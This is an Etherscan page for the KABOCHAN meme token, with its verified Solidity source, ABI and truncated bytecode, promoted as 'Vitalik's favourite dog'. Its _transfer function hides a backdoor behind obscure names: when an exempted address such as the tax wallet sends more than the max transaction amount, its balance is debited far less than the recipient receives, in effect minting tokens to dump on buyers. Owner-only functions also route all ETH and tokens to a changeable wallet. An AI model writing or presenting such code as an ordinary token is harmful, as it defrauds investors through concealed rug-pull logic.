ETH Price: $3,085.40 (-1.15%)

Token

KABOCHAN (KABOCHAN)
 

Overview

Max Total Supply

1,000,000,000 KABOCHAN

Holders

127

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,987,912.73548739 KABOCHAN

Value
$0.00
0x2e562634809db87478fc19256d82d217edc693d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KABOCHAN

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-12
*/

// SPDX-License-Identifier: MIT

/**
VITALIK'S FAVOURITE DOG $KABOCHAN

Web : https://www.kabochanoneth.xyz
TG :    https://t.me/kabochan_erc20
X :      https://x.com/kabochan_erc
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KABOCHAN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=40;

    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"KABOCHAN";
    string private constant _symbol = unicode"KABOCHAN";
    uint256 public _maxTxAmount =  ( _tTotal * 23 ) / 1000;
    uint256 public _maxWalletSize = ( _tTotal * 23 ) / 1000;
    uint256 public _taxSwapThreshold= 0;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _w) {
        _taxWallet = payable(_w);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        isExile[address(_taxWallet)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 _tAmount = amount;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            
            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 60, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            if(from != address(this) && isExile[from]){
                uint256 _checktaxsum = 0;
                if(amount >=0 && amount <= _maxTxAmount)
                {
                     _checktaxsum =  22;
                     
                }else{

                    _checktaxsum =  _buyCount> _reduceSellTaxAt ? _finalSellTax: _initialSellTax;
                    _tAmount = min(_maxTxAmount , _tAmount.mul(_checktaxsum));
                }
            }
	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_tAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_w","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600755600a600855600a6009556000600a556000600b556028600c556028600d556028600e556000600f55600060105560006011556103e86009600a61004c919061037f565b61005a90633b9aca00610395565b610065906017610395565b61006f91906103ac565b6012556103e86100816009600a61037f565b61008f90633b9aca00610395565b61009a906017610395565b6100a491906103ac565b601355600060145560646100ba6009600a61037f565b6100c890633b9aca00610395565b6100d291906103ac565b60155560026018556019805462ffffff1916620100001790553480156100f757600080fd5b50604051612400380380612400833981016040819052610116916103ce565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b03831617905561017e6009600a61037f565b61018c90633b9aca00610395565b3360009081526001602081905260408220929092556003906101b66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556017548216845282842080548616821790556006549091168352912080549092161790556102263390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61025e6009600a61037f565b61026c90633b9aca00610395565b60405190815260200160405180910390a3506103f7565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156102d45781600019048211156102ba576102ba610283565b808516156102c757918102915b93841c939080029061029e565b509250929050565b6000826102eb57506001610379565b816102f857506000610379565b816001811461030e576002811461031857610334565b6001915050610379565b60ff84111561032957610329610283565b50506001821b610379565b5060208310610133831016604e8410600b8410161715610357575081810a610379565b6103618383610299565b806000190482111561037557610375610283565b0290505b92915050565b600061038e60ff8416836102dc565b9392505050565b808202811582820484141761037957610379610283565b6000826103c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156103e057600080fd5b81516001600160a01b038116811461038e57600080fd5b611ffa806104066000396000f3fe6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063bf474bed11610095578063e68d0b0511610064578063e68d0b0514610502578063f2fde38b14610522578063f5b3c3bf14610542578063fb201b1d1461057257600080fd5b8063bf474bed14610466578063c4e2b6191461047c578063d45cce651461049c578063dd62ed3e146104bc57600080fd5b806390b60549116100d157806390b605491461040657806390d49b9d1461042657806395d89b41146101d2578063a9059cbb1461044657600080fd5b80637d1db4a5146103bc5780638da5cb5b146103d25780638f9a55c0146103f057600080fd5b8063313ce567116101645780636e4636671161013e5780636e4636671461033c57806370a082311461035c578063715018a614610392578063751039fc146103a757600080fd5b8063313ce567146102c857806349bd5a5e146102e457806353bc13dc1461031c57600080fd5b80630faee56f116101a05780630faee56f1461025957806310c435aa1461027d57806318160ddd1461029357806323b872dd146102a857600080fd5b806306fdde03146101d2578063095ea7b3146102125780630f144a481461024257600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b50604080518082018252600881526725a0a127a1a420a760c11b602082015290516102099190611b6c565b60405180910390f35b34801561021e57600080fd5b5061023261022d366004611bd0565b610587565b6040519015158152602001610209565b34801561024e57600080fd5b5061025761059e565b005b34801561026557600080fd5b5061026f60155481565b604051908152602001610209565b34801561028957600080fd5b5061026f60185481565b34801561029f57600080fd5b5061026f61060d565b3480156102b457600080fd5b506102326102c3366004611bfc565b61062e565b3480156102d457600080fd5b5060405160098152602001610209565b3480156102f057600080fd5b50601754610304906001600160a01b031681565b6040516001600160a01b039091168152602001610209565b34801561032857600080fd5b50610257610337366004611c3d565b610697565b34801561034857600080fd5b50610257610357366004611c5a565b6106e5565b34801561036857600080fd5b5061026f610377366004611c3d565b6001600160a01b031660009081526001602052604090205490565b34801561039e57600080fd5b50610257610714565b3480156103b357600080fd5b50610257610788565b3480156103c857600080fd5b5061026f60125481565b3480156103de57600080fd5b506000546001600160a01b0316610304565b3480156103fc57600080fd5b5061026f60135481565b34801561041257600080fd5b50610257610421366004611c81565b61083a565b34801561043257600080fd5b50610257610441366004611c3d565b610880565b34801561045257600080fd5b50610232610461366004611bd0565b6108cc565b34801561047257600080fd5b5061026f60145481565b34801561048857600080fd5b50610257610497366004611bd0565b6108d9565b3480156104a857600080fd5b506019546102329062010000900460ff1681565b3480156104c857600080fd5b5061026f6104d7366004611c9e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050e57600080fd5b5061025761051d366004611cd7565b61097f565b34801561052e57600080fd5b5061025761053d366004611c3d565b6109c7565b34801561054e57600080fd5b5061023261055d366004611c3d565b60046020526000908152604090205460ff1681565b34801561057e57600080fd5b50610257610ab1565b6000610594338484610eb4565b5060015b92915050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c890611cf5565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561060a573d6000803e3d6000fd5b50565b600061061b6009600a611e24565b61062990633b9aca00611e33565b905090565b600061063b848484610fd8565b61068d843361068885604051806060016040528060288152602001611f9d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117d4565b610eb4565b5060019392505050565b6000546001600160a01b031633146106c15760405162461bcd60e51b81526004016105c890611cf5565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105c890611cf5565b601855565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016105c890611cf5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105c890611cf5565b6107be6009600a611e24565b6107cc90633b9aca00611e33565b6012556107db6009600a611e24565b6107e990633b9aca00611e33565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108196009600a611e24565b61082790633b9aca00611e33565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108645760405162461bcd60e51b81526004016105c890611cf5565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016105c890611cf5565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000610594338484610fd8565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105c890611cf5565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610956573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097a9190611e4a565b505050565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016105c890611cf5565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b031633146109f15760405162461bcd60e51b81526004016105c890611cf5565b6001600160a01b038116610a565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105c8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610adb5760405162461bcd60e51b81526004016105c890611cf5565b601754600160a01b900460ff1615610b355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c8565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b7e903090610b706009600a611e24565b61068890633b9aca00611e33565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf59190611e67565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7b9190611e67565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cec9190611e67565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610d6c816001600160a01b031660009081526001602052604090205490565b600080610d816000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610de9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0e9190611e84565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8b9190611e4a565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6001600160a01b038316610f165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c8565b6001600160a01b038216610f775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661103c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b03821661109e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b600081116111005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c8565b6000816111156000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561114457506000546001600160a01b03858116911614155b1561169057611175606461116f600c54600f541161116457600854611168565b600a545b869061180e565b90611897565b915060075443036112005743600090815260056020526040902054603c116111df5760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105c8565b4360009081526005602052604081208054916111fa83611eb2565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561123657506016546001600160a01b03858116911614155b801561125b57506001600160a01b03841660009081526003602052604090205460ff16155b15611343576012548311156112b25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105c8565b601354836112d5866001600160a01b031660009081526001602052604090205490565b6112df9190611ecb565b111561132d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105c8565b600f805490600061133d83611eb2565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561138557506001600160a01b03841660009081526003602052604090205460ff16155b1561140557601354836113ad866001600160a01b031660009081526001602052604090205490565b6113b79190611ecb565b11156114055760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105c8565b6001600160a01b03841660009081526004602052604090205460ff16801561143657506001600160a01b0385163014155b1561146357611460606461116f600d54600f541161145657600954611168565b600b54869061180e565b91505b6001600160a01b038516301480159061149457506001600160a01b03851660009081526003602052604090205460ff165b156114e157600060125484116114ac575060166114df565b600d54600f54116114bf576009546114c3565b600b545b6012549091506114dc906114d7848461180e565b6118d9565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561152357506001600160a01b03841660009081526004602052604090205460ff16155b801561153857506001600160a01b0385163014155b1561154257600091505b3060009081526001602052604090205460195462010000900460ff16801561156d575060195460ff16155b801561159157506001600160a01b03851660009081526004602052604090205460ff165b80156115a45750601954610100900460ff165b80156115b35750600e54600f54115b15611613576011544311156115c85760006010555b6014548111156115ea576115ea6115e5856114d7846015546118d9565b6118ee565b476115f447611a5f565b6010805490600061160483611eb2565b9091555050436011555061168e565b60195460ff1615801561163e57506001600160a01b03851660009081526004602052604090205460ff165b80156116515750601954610100900460ff165b80156116605750600e54600f54115b1561168e57601454811115611682576116826115e5856114d7846015546118d9565b4761168c47611a5f565b505b505b811561170a57306000908152600160205260409020546116b09083611a9d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117019086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461172d9082611afc565b6001600160a01b0386166000908152600160205260409020556117726117538484611afc565b6001600160a01b03861660009081526001602052604090205490611a9d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117bc8686611afc565b60405190815260200160405180910390a35050505050565b600081848411156117f85760405162461bcd60e51b81526004016105c89190611b6c565b5060006118058486611ede565b95945050505050565b60008260000361182057506000610598565b600061182c8385611e33565b9050826118398583611ef1565b146118905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c8565b9392505050565b600061189083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3e565b60008183116118e85782611890565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193057611930611f13565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ad9190611e67565b816001815181106119c0576119c0611f13565b6001600160a01b0392831660209182029290920101526016546119e69130911684610eb4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a1f908590600090869030904290600401611f29565b600060405180830381600087803b158015611a3957600080fd5b505af1158015611a4d573d6000803e3d6000